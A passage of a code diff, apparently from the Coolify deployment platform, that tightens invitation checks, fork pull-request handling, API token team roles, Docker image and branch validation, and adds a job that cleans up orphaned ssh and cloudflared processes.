Str::lower($email); $user = User::whereEmail($email)->first(); if (! $user) { return redirect()->route('login'); } + + $invitation = TeamInvitation::query() + ->where('email', $email) + ->when($invitationUuid, fn ($query) => $query->where('uuid', $invitationUuid)) + ->where('link', request()->fullUrl()) + ->first(); + if (! $invitation || ! $invitation->isValid()) { + return redirect()->route('login')->with('error', 'Invitation has expired or been revoked.'); + } + if (Hash::check($password, $user->password)) { - $invitation = TeamInvitation::whereEmail($email); - if ($invitation->exists()) { - $team = $invitation->first()->team; - $user->teams()->attach($team->id, ['role' => $invitation->first()->role]); - $invitation->delete(); - } else { - $team = $user->teams()->first(); + $team = $invitation->team; + if (! $user->teams()->where('team_id', $team->id)->exists()) { + $user->teams()->attach($team->id, ['role' => $invitation->role]); } + $invitation->delete(); + Auth::login($user); + $user->forceFill([ + 'password' => Hash::make(Str::random(64)), + ])->save(); session(['currentTeam' => $team]); return redirect()->route('dashboard'); diff --git a/app/Http/Controllers/Webhook/Concerns/MatchesManualWebhookApplications.php b/app/Http/Controllers/Webhook/Concerns/MatchesManualWebhookApplications.php index f1fd0c40f..0463790eb 100644 --- a/app/Http/Controllers/Webhook/Concerns/MatchesManualWebhookApplications.php +++ b/app/Http/Controllers/Webhook/Concerns/MatchesManualWebhookApplications.php @@ -81,6 +81,10 @@ protected function canonicalManualWebhookRepository(?string $gitRepository): ?st $path = data_get($parts, 'path'); } elseif (Str::startsWith($gitRepository, 'git@') && str_contains($gitRepository, ':')) { $path = Str::after($gitRepository, ':'); + // scp-style SSH URLs embed a custom port as "git@host:2222/owner/repo". + // Strip the leading numeric port segment so the path matches the webhook + // payload's owner/repo, consistent with convertGitUrl() in shared.php. + $path = preg_replace('#^\d+/#', '', $path) ?? $path; } else { $path = $gitRepository; } diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php index b481f4a67..8e3ffcd7c 100644 --- a/app/Http/Controllers/Webhook/Github.php +++ b/app/Http/Controllers/Webhook/Github.php @@ -62,6 +62,7 @@ public function manual(Request $request) $before_sha = data_get($payload, 'before'); $after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha')); $author_association = data_get($payload, 'pull_request.author_association'); + $is_fork_pull_request = $this->isForkPullRequest($payload); } if (! in_array($x_github_event, ['push', 'pull_request'])) { return response("Nothing to do. Event '$x_github_event' is not supported."); @@ -222,6 +223,7 @@ public function manual(Request $request) commitSha: data_get($payload, 'pull_request.head.sha', 'HEAD'), authorAssociation: $author_association, fullName: $full_name, + isForkPullRequest: $is_fork_pull_request ?? false, ); $return_payloads->push([ @@ -303,6 +305,7 @@ public function normal(Request $request) $before_sha = data_get($payload, 'before'); $after_sha = data_get($payload, 'after', data_get($payload, 'pull_request.head.sha')); $author_association = data_get($payload, 'pull_request.author_association'); + $is_fork_pull_request = $this->isForkPullRequest($payload); } if (! in_array($x_github_event, ['push', 'pull_request'])) { return response("Nothing to do. Event '$x_github_event' is not supported."); @@ -434,6 +437,7 @@ public function normal(Request $request) commitSha: data_get($payload, 'pull_request.head.sha', 'HEAD'), authorAssociation: $author_association, fullName: $full_name, + isForkPullRequest: $is_fork_pull_request ?? false, ); $return_payloads->push([ @@ -451,6 +455,40 @@ public function normal(Request $request) } } + /** + * Determine whether a pull_request webhook payload originates from a fork. + * + * GitHub's `author_association` is not a reliable trust signal (it grants + * CONTRIBUTOR to anyone who has merely opened an issue/PR before), so fork + * detection is gated on whether the PR crosses repository boundaries. + * + * The repository id comparison is the canonical signal; the `head.repo.fork` + * flag and a case-insensitive full_name comparison are fallbacks for payloads + * where the ids are unavailable (e.g. a deleted head repository). + */ + private function isForkPullRequest(mixed $payload): bool + { + $headRepoId = data_get($payload, 'pull_request.head.repo.id'); + $baseRepoId = data_get($payload, 'pull_request.base.repo.id'); + + if ($headRepoId !== null && $baseRepoId !== null) { + return (string) $headRepoId !== (string) $baseRepoId; + } + + if (data_get($payload, 'pull_request.head.repo.fork') === true) { + return true; + } + + $headRepoFullName = data_get($payload, 'pull_request.head.repo.full_name'); + $baseRepoFullName = data_get($payload, 'pull_request.base.repo.full_name'); + + if (is_string($headRepoFullName) && is_string($baseRepoFullName)) { + return Str::lower($headRepoFullName) !== Str::lower($baseRepoFullName); + } + + return false; + } + public function redirect(Request $request) { $code = (string) $request->query('code', ''); diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index a584bc111..02a49aaa8 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -12,6 +12,7 @@ use App\Http\Middleware\DecideWhatToDoWithUser; use App\Http\Middleware\EncryptCookies; use App\Http\Middleware\EnsureMcpEnabled; +use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember; use App\Http\Middleware\PreventRequestsDuringMaintenance; use App\Http\Middleware\RedirectIfAuthenticated; use App\Http\Middleware\TrimStrings; @@ -104,6 +105,7 @@ class Kernel extends HttpKernel 'ability' => CheckForAnyAbility::class, 'api.ability' => ApiAbility::class, 'api.sensitive' => ApiSensitiveData::class, + 'api.token.team' => EnsureTokenBelongsToCurrentTeamMember::class, 'can.create.resources' => CanCreateResources::class, 'can.update.resource' => CanUpdateResource::class, 'can.access.terminal' => CanAccessTerminal::class, diff --git a/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php new file mode 100644 index 000000000..7c858b38b --- /dev/null +++ b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php @@ -0,0 +1,37 @@ +user(); + $token = $user?->currentAccessToken(); + $teamId = $token?->team_id; + + if (! $user || ! $token || is_null($teamId)) { + return response()->json(['message' => 'Invalid token.'], 401); + } + + $team = $user->teams() + ->where('teams.id', $teamId) + ->first(); + + if (! $team) { + return response()->json(['message' => 'Invalid token.'], 401); + } + + $role = $team->pivot?->role; + if (($token->can('root') || $token->can('write') || $token->can('write:sensitive')) + && ! in_array($role, ['admin', 'owner'], true)) { + return response()->json(['message' => 'Missing required team role.'], 403); + } + + return $next($request); + } +} diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index c85040c17..f4d52bb71 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -220,6 +220,7 @@ public function __construct(public int $application_deployment_queue_id) $this->restart_only = $this->restart_only && $this->application->build_pack !== 'dockerimage' && $this->application->build_pack !== 'dockerfile'; $this->only_this_server = $this->application_deployment_queue->only_this_server; $this->dockerImagePreviewTag = $this->application_deployment_queue->docker_registry_image_tag; + $this->validateDockerRegistryImageConfiguration(); $this->git_type = data_get($this->application_deployment_queue, 'git_type'); @@ -1106,7 +1107,7 @@ private function push_to_docker_registry() 'hidden' => true, ], ); - if ($this->application->docker_registry_image_tag) { + if ($this->shouldPushDockerRegistryImageTag()) { // Tag image with docker_registry_image_tag $this->application_deployment_queue->addLogEntry("Tagging and pushing image with {$this->application->docker_registry_image_tag} tag."); $this->execute_remote_command( @@ -1130,6 +1131,30 @@ private function push_to_docker_registry() } } + private function shouldPushDockerRegistryImageTag(): bool + { + if (blank($this->application->docker_registry_image_tag)) { + return false; + } + + return $this->pull_request_id === 0; + } + + private function validateDockerRegistryImageConfiguration(): void + { + if (! ValidationPatterns::isValidDockerImageName($this->application->docker_registry_image_name)) { + throw new DeploymentException('Docker registry image name contains invalid characters.'); + } + + if (! ValidationPatterns::isValidDockerImageTag($this->application->docker_registry_image_tag)) { + throw new DeploymentException('Docker registry image tag contains invalid characters.'); + } + + if (! ValidationPatterns::isValidDockerImageTag($this->dockerImagePreviewTag)) { + throw new DeploymentException('Docker registry preview image tag contains invalid characters.'); + } + } + private function generate_image_names() { if ($this->application->dockerfile) { @@ -1293,12 +1318,8 @@ private function generate_runtime_environment_variables() $sorted_environment_variables_preview = $this->application->runtime_environment_variables_preview->sortBy('id'); } if ($this->build_pack === 'dockercompose') { - $sorted_environment_variables = $sorted_environment_variables->filter(function ($env) { - return ! str($env->key)->startsWith('SERVICE_FQDN_') && ! str($env->key)->startsWith('SERVICE_URL_') && ! str($env->key)->startsWith('SERVICE_NAME_'); - }); - $sorted_environment_variables_preview = $sorted_environment_variables_preview->filter(function ($env) { - return ! str($env->key)->startsWith('SERVICE_FQDN_') && ! str($env->key)->startsWith('SERVICE_URL_') && ! str($env->key)->startsWith('SERVICE_NAME_'); - }); + $sorted_environment_variables = $sorted_environment_variables->reject(fn (EnvironmentVariable $env) => $this->isGeneratedDockerComposeEnvironmentVariable($env)); + $sorted_environment_variables_preview = $sorted_environment_variables_preview->reject(fn (EnvironmentVariable $env) => $this->isGeneratedDockerComposeEnvironmentVariable($env)); } $ports = $this->application->main_port(); $coolify_envs = $this->generate_coolify_env_variables(); @@ -1451,6 +1472,15 @@ private function generate_runtime_environment_variables() return $envs; } + private function isGeneratedDockerComposeEnvironmentVariable(EnvironmentVariable $environmentVariable): bool + { + $key = str($environmentVariable->key); + + return $key->startsWith('SERVICE_FQDN_') + || $key->startsWith('SERVICE_URL_') + || $key->startsWith('SERVICE_NAME_'); + } + private function save_runtime_environment_variables() { // This method saves the .env file with ALL runtime variables @@ -1666,11 +1696,9 @@ private function generate_buildtime_environment_variables() ->orderBy($this->application->settings->is_env_sorting_enabled ? 'key' : 'id') ->get(); - // For Docker Compose, filter out SERVICE_FQDN and SERVICE_URL as we generate these + // For Docker Compose, filter out generated SERVICE_* variables as we generate these if ($this->build_pack === 'dockercompose') { - $sorted_environment_variables = $sorted_environment_variables->filter(function ($env) { - return ! str($env->key)->startsWith('SERVICE_FQDN_') && ! str($env->key)->startsWith('SERVICE_URL_'); - }); + $sorted_environment_variables = $sorted_environment_variables->reject(fn (EnvironmentVariable $env) => $this->isGeneratedDockerComposeEnvironmentVariable($env)); } foreach ($sorted_environment_variables as $env) { @@ -1719,11 +1747,9 @@ private function generate_buildtime_environment_variables() ->orderBy($this->application->settings->is_env_sorting_enabled ? 'key' : 'id') ->get(); - // For Docker Compose, filter out SERVICE_FQDN and SERVICE_URL as we generate these with PR-specific values + // For Docker Compose, filter out generated SERVICE_* variables as we generate these with PR-specific values if ($this->build_pack === 'dockercompose') { - $sorted_environment_variables = $sorted_environment_variables->filter(function ($env) { - return ! str($env->key)->startsWith('SERVICE_FQDN_') && ! str($env->key)->startsWith('SERVICE_URL_'); - }); + $sorted_environment_variables = $sorted_environment_variables->reject(fn (EnvironmentVariable $env) => $this->isGeneratedDockerComposeEnvironmentVariable($env)); } foreach ($sorted_environment_variables as $env) { @@ -2103,21 +2129,23 @@ private function prepare_builder_image(bool $firstTry = true) $helperImage = "{$helperImage}:".getHelperVersion(); // Get user home directory $this->serverUserHomeDir = instant_remote_process(['echo $HOME'], $this->server); + instant_remote_process(["mkdir -p {$this->serverUserHomeDir}/.docker/buildx"], $this->server); $this->dockerConfigFileExists = instant_remote_process(["test -f {$this->serverUserHomeDir}/.docker/config.json && echo 'OK' || echo 'NOK'"], $this->server); $env_flags = $this->generate_docker_env_flags_for_secrets(); + $buildxMetadataVolume = "-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx"; if ($this->use_build_server) { if ($this->dockerConfigFileExists === 'NOK') { throw new DeploymentException('Docker config file (~/.docker/config.json) not found on the build server. Please run "docker login" to login to the docker registry on the server.'); } - $runCommand = "docker run -d --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $runCommand = "docker run -d --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro {$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { if ($this->dockerConfigFileExists === 'OK') { $safeNetwork = escapeshellarg($this->destination->network); - $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v {$this->serverUserHomeDir}/.docker/config.json:/root/.docker/config.json:ro {$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } else { $safeNetwork = escapeshellarg($this->destination->network); - $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; + $runCommand = "docker run -d --network {$safeNetwork} --name {$this->deployment_uuid} {$env_flags} --rm {$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock {$helperImage}"; } } if ($firstTry) { @@ -2222,11 +2250,22 @@ private function set_coolify_variables() } } if (isset($this->application->git_branch)) { - $this->coolify_variables .= "COOLIFY_BRANCH={$this->application->git_branch} "; + $this->coolify_variables .= 'COOLIFY_BRANCH='.escapeShellValue($this->application->git_branch).' '; } $this->coolify_variables .= "COOLIFY_RESOURCE_UUID={$this->application->uuid} "; } + private function gitLsRemoteCommand(string $lsRemoteRef, ?string $identityFile = null): string + { + $sshCommand = "ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"; + + if ($identityFile !== null) { + $sshCommand .= " -i {$identityFile} -o IdentitiesOnly=yes"; + } + + return 'GIT_SSH_COMMAND="'.$sshCommand.'" git ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); + } + private function check_git_if_build_needed() { if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) { @@ -2273,7 +2312,7 @@ private function check_git_if_build_needed() executeInDocker($this->deployment_uuid, "chmod 600 {$customSshKeyLocation}"), ], [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i {$customSshKeyLocation} -o IdentitiesOnly=yes\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef, $customSshKeyLocation)), 'hidden' => true, 'save' => 'git_commit_sha', ] @@ -2281,7 +2320,7 @@ private function check_git_if_build_needed() } else { $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef)), 'hidden' => true, 'save' => 'git_commit_sha', ], @@ -3020,6 +3059,10 @@ private function generate_env_variables() ->where('is_buildtime', true) ->get(); + if ($this->build_pack === 'dockercompose') { + $envs = $envs->reject(fn (EnvironmentVariable $env) => $this->isGeneratedDockerComposeEnvironmentVariable($env)); + } + foreach ($envs as $env) { $resolvedValue = $env->getResolvedValueWithServer($this->mainServer); if (! is_null($resolvedValue)) { @@ -3032,6 +3075,10 @@ private function generate_env_variables() ->where('is_buildtime', true) ->get(); + if ($this->build_pack === 'dockercompose') { + $envs = $envs->reject(fn (EnvironmentVariable $env) => $this->isGeneratedDockerComposeEnvironmentVariable($env)); + } + foreach ($envs as $env) { $resolvedValue = $env->getResolvedValueWithServer($this->mainServer); if (! is_null($resolvedValue)) { diff --git a/app/Jobs/CleanupStaleMultiplexedConnections.php b/app/Jobs/CleanupStaleMultiplexedConnections.php new file mode 100644 index 000000000..0d3029c66 --- /dev/null +++ b/app/Jobs/CleanupStaleMultiplexedConnections.php @@ -0,0 +1,228 @@ +cleanupStaleConnections(); + $this->cleanupNonExistentServerConnections(); + $this->cleanupOrphanedSshProcesses(); + $this->cleanupOrphanedCloudflaredProcesses(); + } + + /** + * Kill backgrounded ssh master processes that lost the ControlPath socket + * race. Such processes are not masters, so ControlPersist never reaps them + * and they leak memory until the container restarts. A legitimate master + * always owns its socket file; an orphan has none. + * + * Processes younger than the minimum age are skipped: a freshly forked + * master creates its socket a few milliseconds after starting, so a young + * process with no socket may simply be mid-establish rather than orphaned. + */ + private function cleanupOrphanedSshProcesses(): void + { + $muxDir = storage_path('app/ssh/mux'); + $minAge = (int) config('constants.ssh.mux_orphan_min_age'); + + foreach ($this->listProcesses() as $process) { + // Backgrounded ssh master: current `ssh -fN` or legacy `ssh -fNM`. + if (! preg_match('#(^|/)ssh -fN#', $process['args'])) { + continue; + } + + // Only ever touch ssh processes pointing at Coolify's mux directory. + if (! preg_match('#ControlPath=('.preg_quote($muxDir, '#').'/\S+)#', $process['args'], $pathMatch)) { + continue; + } + + if ($process['etimes'] >= $minAge && ! file_exists($pathMatch[1])) { + $this->reapOrphan('ssh', $process); + } + } + } + + /** + * Kill orphaned `cloudflared access ssh` proxy processes. Each is spawned + * as the SSH ProxyCommand transport for a Cloudflare Tunnel server and must + * die with its parent ssh. When that ssh is killed or orphaned (e.g. a lost + * mux master), the cloudflared process can leak and accumulate. A legitimate + * proxy always has a live ssh parent; one without is safe to reap. + * + * Processes younger than the minimum age are skipped so a proxy whose parent + * ssh is still starting up, or a transient `ssh -O check` proxy mid-exit, is + * never mistaken for an orphan. + */ + private function cleanupOrphanedCloudflaredProcesses(): void + { + $minAge = (int) config('constants.ssh.mux_orphan_min_age'); + $processes = $this->listProcesses(); + + $sshPids = []; + foreach ($processes as $process) { + // The ssh binary itself, not `cloudflared access ssh` (space before ssh). + if (preg_match('#(^|/)ssh\s#', $process['args'])) { + $sshPids[$process['pid']] = true; + } + } + + foreach ($processes as $process) { + // `cloudflared access ssh`, never the `cloudflared tunnel` daemon. + if (! str_contains($process['args'], 'cloudflared access ssh')) { + continue; + } + + // Orphaned when no live ssh process is its parent. + if ($process['etimes'] >= $minAge && ! isset($sshPids[$process['ppid']])) { + $this->reapOrphan('cloudflared', $process); + } + } + } + + /** + * Reap a detected orphan process. When orphan reaping is disabled (the + * default), the orphan is only logged — a dry-run mode that lets operators + * verify what would be killed before enabling it for real. + * + * @param array{pid: string, ppid: string, etimes: int, args: string} $process + */ + private function reapOrphan(string $kind, array $process): void + { + if (! config('constants.ssh.mux_orphan_reap_enabled')) { + Log::info("Orphaned {$kind} process detected (dry-run, not killed)", [ + 'pid' => $process['pid'], + 'etimes' => $process['etimes'], + 'command' => $process['args'], + ]); + + return; + } + + Process::run('kill '.escapeshellarg($process['pid'])); + Log::info("Killed orphaned {$kind} process", [ + 'pid' => $process['pid'], + 'etimes' => $process['etimes'], + 'command' => $process['args'], + ]); + } + + /** + * Snapshot of running processes. + * + * @return list + */ + private function listProcesses(): array + { + $ps = Process::run('ps -ww -eo pid=,ppid=,etimes=,args='); + if ($ps->exitCode() !== 0) { + return []; + } + + $processes = []; + foreach (explode("\n", trim($ps->output())) as $line) { + if (! preg_match('/^\s*(\d+)\s+(\d+)\s+(\d+)\s+(.*)$/', $line, $matches)) { + continue; + } + $processes[] = [ + 'pid' => $matches[1], + 'ppid' => $matches[2], + 'etimes' => (int) $matches[3], + 'args' => $matches[4], + ]; + } + + return $processes; + } + + private function cleanupStaleConnections() + { + $muxFiles = Storage::disk('ssh-mux')->files(); + + foreach ($muxFiles as $muxFile) { + $serverUuid = $this->extractServerUuidFromMuxFile($muxFile); + $server = Server::where('uuid', $serverUuid)->first(); + + if (! $server) { + $this->removeMultiplexFile($muxFile, 'server_not_found'); + + continue; + } + + $muxSocket = "/var/www/html/storage/app/ssh/mux/{$muxFile}"; + $checkCommand = "ssh -O check -o ControlPath={$muxSocket} {$server->user}@{$server->ip} 2>/dev/null"; + $checkProcess = Process::run($checkCommand); + + if ($checkProcess->exitCode() !== 0) { + $this->removeMultiplexFile($muxFile, 'connection_check_failed'); + } else { + $muxContent = Storage::disk('ssh-mux')->get($muxFile); + $establishedAt = Carbon::parse(substr($muxContent, 37)); + $expirationTime = $establishedAt->addSeconds(config('constants.ssh.mux_persist_time')); + + if (Carbon::now()->isAfter($expirationTime)) { + $this->removeMultiplexFile($muxFile, 'expired'); + } + } + } + } + + private function cleanupNonExistentServerConnections() + { + $muxFiles = Storage::disk('ssh-mux')->files(); + $existingServerUuids = Server::pluck('uuid')->toArray(); + + foreach ($muxFiles as $muxFile) { + $serverUuid = $this->extractServerUuidFromMuxFile($muxFile); + if (! in_array($serverUuid, $existingServerUuids)) { + $this->removeMultiplexFile($muxFile, 'server_does_not_exist'); + } + } + } + + private function extractServerUuidFromMuxFile($muxFile) + { + return substr($muxFile, 4); + } + + /** + * Close and delete a stale mux socket file. When orphan reaping is disabled + * (the default), the file is only logged — a dry-run mode that lets operators + * verify what would be removed before enabling it for real. + */ + private function removeMultiplexFile(string $muxFile, string $reason): void + { + if (! config('constants.ssh.mux_orphan_reap_enabled')) { + Log::info('Stale mux file detected (dry-run, not removed)', [ + 'file' => $muxFile, + 'reason' => $reason, + ]); + + return; + } + + $muxSocket = "/var/www/html/storage/app/ssh/mux/{$muxFile}"; + $closeCommand = "ssh -O exit -o ControlPath={$muxSocket} localhost 2>/dev/null"; + Process::run($closeCommand); + Storage::disk('ssh-mux')->delete($muxFile); + + Log::info('Removed stale mux file', [ + 'file' => $muxFile, + 'reason' => $reason, + ]); + } +} diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index bd31ab0c3..64e900b49 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -668,12 +668,14 @@ private function calculate_size() private function upload_to_s3(): void { if (is_null($this->s3)) { + $previousS3StorageId = $this->backup->s3_storage_id; + $this->backup->update([ 'save_s3' => false, 's3_storage_id' => null, ]); - throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($this->backup->s3_storage_id ?? 'null').'). S3 backup has been disabled for this schedule.'); + throw new \Exception('S3 storage configuration is missing or has been deleted (S3 storage ID: '.($previousS3StorageId ?? 'null').'). S3 backup has been disabled for this schedule.'); } try { diff --git a/app/Jobs/ProcessGithubPullRequestWebhook.php b/app/Jobs/ProcessGithubPullRequestWebhook.php index 54e386676..141351784 100644 --- a/app/Jobs/ProcessGithubPullRequestWebhook.php +++ b/app/Jobs/ProcessGithubPullRequestWebhook.php @@ -39,6 +39,7 @@ public function __construct( public string $commitSha, public ?string $authorAssociation, public string $fullName, + public bool $isForkPullRequest = false, ) { $this->onQueue('high'); } @@ -92,7 +93,17 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp // Check if PR deployments from public contributors are restricted if (! $application->settings->is_pr_deployments_public_enabled) { - $trustedAssociations = ['OWNER', 'MEMBER', 'COLLABORATOR', 'CONTRIBUTOR']; + // Fork PRs carry untrusted code from a repository outside our control. + // GitHub's author_association cannot be trusted to gate these (it grants + // CONTRIBUTOR to anyone who has merely opened an issue/PR before), so fork + // PRs are never deployed automatically when public previews are off. + if ($this->isForkPullRequest) { + return; + } + + // Same-repo (non-fork) branch PRs require push access to the base repo, + // so only trusted associations are allowed to trigger a deployment. + $trustedAssociations = ['OWNER', 'MEMBER', 'COLLABORATOR']; if (! in_array($this->authorAssociation, $trustedAssociations)) { return; } diff --git a/app/Livewire/Profile/Appearance.php b/app/Livewire/Profile/Appearance.php new file mode 100644 index 000000000..6a1b72f80 --- /dev/null +++ b/app/Livewire/Profile/Appearance.php @@ -0,0 +1,13 @@ +user()->currentTeam()->id; - - return [ - "echo-private:team.{$teamId},ServiceChecked" => '$refresh', - "echo-private:team.{$teamId},ServiceStatusChanged" => '$refresh', - 'buildPackUpdated' => '$refresh', - 'refresh' => '$refresh', - ]; - } + protected $listeners = [ + 'buildPackUpdated' => '$refresh', + 'refresh' => '$refresh', + ]; public function mount() { @@ -51,8 +44,6 @@ public function mount() $this->environment = $environment; $this->application = $application; - - if ($this->application->build_pack === 'dockercompose' && $this->currentRoute === 'project.application.healthcheck') { return redirect()->route('project.application.configuration', ['project_uuid' => $project->uuid, 'environment_uuid' => $environment->uuid, 'application_uuid' => $application->uuid]); } diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 258b54eed..0295aa5fc 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -5,6 +5,7 @@ use App\Actions\Application\GenerateConfig; use App\Jobs\ApplicationDeploymentJob; use App\Models\Application; +use App\Rules\ValidGitBranch; use App\Support\ValidationPatterns; use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -144,7 +145,7 @@ protected function rules(): array 'description' => ValidationPatterns::descriptionRules(), 'fqdn' => 'nullable', 'gitRepository' => 'required', - 'gitBranch' => 'required', + 'gitBranch' => ['required', 'string', new ValidGitBranch], 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'installCommand' => ValidationPatterns::shellSafeCommandRules(), 'buildCommand' => ValidationPatterns::shellSafeCommandRules(), @@ -157,8 +158,8 @@ protected function rules(): array 'portsMappings' => ValidationPatterns::portMappingRules(), 'customNetworkAliases' => 'nullable', 'dockerfile' => 'nullable', - 'dockerRegistryImageName' => 'nullable', - 'dockerRegistryImageTag' => 'nullable', + 'dockerRegistryImageName' => ValidationPatterns::dockerImageNameRules(), + 'dockerRegistryImageTag' => ValidationPatterns::dockerImageTagRules(), 'dockerfileLocation' => ValidationPatterns::filePathRules(), 'dockerComposeLocation' => ValidationPatterns::filePathRules(), 'dockerCompose' => 'nullable', @@ -848,7 +849,7 @@ public function submit($showToaster = true) } if ($this->buildPack === 'dockerimage') { $this->validate([ - 'dockerRegistryImageName' => 'required', + 'dockerRegistryImageName' => ValidationPatterns::dockerImageNameRules(required: true), ]); } diff --git a/app/Livewire/Project/Application/ServerStatusBadge.php b/app/Livewire/Project/Application/ServerStatusBadge.php new file mode 100644 index 000000000..459271e28 --- /dev/null +++ b/app/Livewire/Project/Application/ServerStatusBadge.php @@ -0,0 +1,41 @@ +currentTeam(); + if (! $team) { + return []; + } + + return [ + "echo-private:team.{$team->id},ServiceStatusChanged" => 'refreshStatus', + "echo-private:team.{$team->id},ServiceChecked" => 'refreshStatus', + ]; + } + + public function refreshStatus(): void + { + $this->application->refresh(); + } + + public function render(): View + { + return view('livewire.project.application.server-status-badge'); + } +} diff --git a/app/Livewire/Project/Application/Source.php b/app/Livewire/Project/Application/Source.php index f14689ee0..3ee5919fe 100644 --- a/app/Livewire/Project/Application/Source.php +++ b/app/Livewire/Project/Application/Source.php @@ -6,6 +6,7 @@ use App\Models\GithubApp; use App\Models\GitlabApp; use App\Models\PrivateKey; +use App\Rules\ValidGitBranch; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -29,7 +30,7 @@ class Source extends Component #[Validate(['required', 'string'])] public string $gitRepository; - #[Validate(['required', 'string'])] + #[Validate(['required', 'string', new ValidGitBranch])] public string $gitBranch; #[Validate(['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index a18022882..ef106a65f 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -3,6 +3,7 @@ namespace App\Livewire\Project\Database; use App\Models\ScheduledDatabaseBackup; +use App\Models\ServiceDatabase; use Exception; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Attributes\Locked; @@ -144,7 +145,7 @@ public function delete($password, $selectedActions = []) try { $server = null; - if ($this->backup->database instanceof \App\Models\ServiceDatabase) { + if ($this->backup->database instanceof ServiceDatabase) { $server = $this->backup->database->service->destination->server; } elseif ($this->backup->database->destination && $this->backup->database->destination->server) { $server = $this->backup->database->destination->server; @@ -170,7 +171,7 @@ public function delete($password, $selectedActions = []) $this->backup->delete(); - if ($this->backup->database->getMorphClass() === \App\Models\ServiceDatabase::class) { + if ($this->backup->database->getMorphClass() === ServiceDatabase::class) { $serviceDatabase = $this->backup->database; return redirect()->route('project.service.database.backups', [ @@ -182,7 +183,7 @@ public function delete($password, $selectedActions = []) } else { return redirect()->route('project.database.backup.index', $this->parameters); } - } catch (\Exception $e) { + } catch (Exception $e) { $this->dispatch('error', 'Failed to delete backup: '.$e->getMessage()); return handleError($e, $this); @@ -207,6 +208,13 @@ private function customValidate() $this->backup->s3_storage_id = null; } + // S3 backup cannot be enabled without a valid S3 storage owned by the team + $availableS3Ids = collect($this->s3s)->pluck('id'); + if ($this->backup->save_s3 && ! $availableS3Ids->contains($this->backup->s3_storage_id)) { + $this->backup->save_s3 = $this->saveS3 = false; + $this->backup->s3_storage_id = $this->s3StorageId = null; + } + // Validate that disable_local_backup can only be true when S3 backup is enabled if ($this->backup->disable_local_backup && ! $this->backup->save_s3) { $this->backup->disable_local_backup = $this->disableLocalBackup = false; @@ -214,7 +222,7 @@ private function customValidate() $isValid = validate_cron_expression($this->backup->frequency); if (! $isValid) { - throw new \Exception('Invalid Cron / Human expression'); + throw new Exception('Invalid Cron / Human expression'); } $this->validate(); } diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 2583c10ea..694674326 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -40,18 +40,21 @@ class General extends Component public ?string 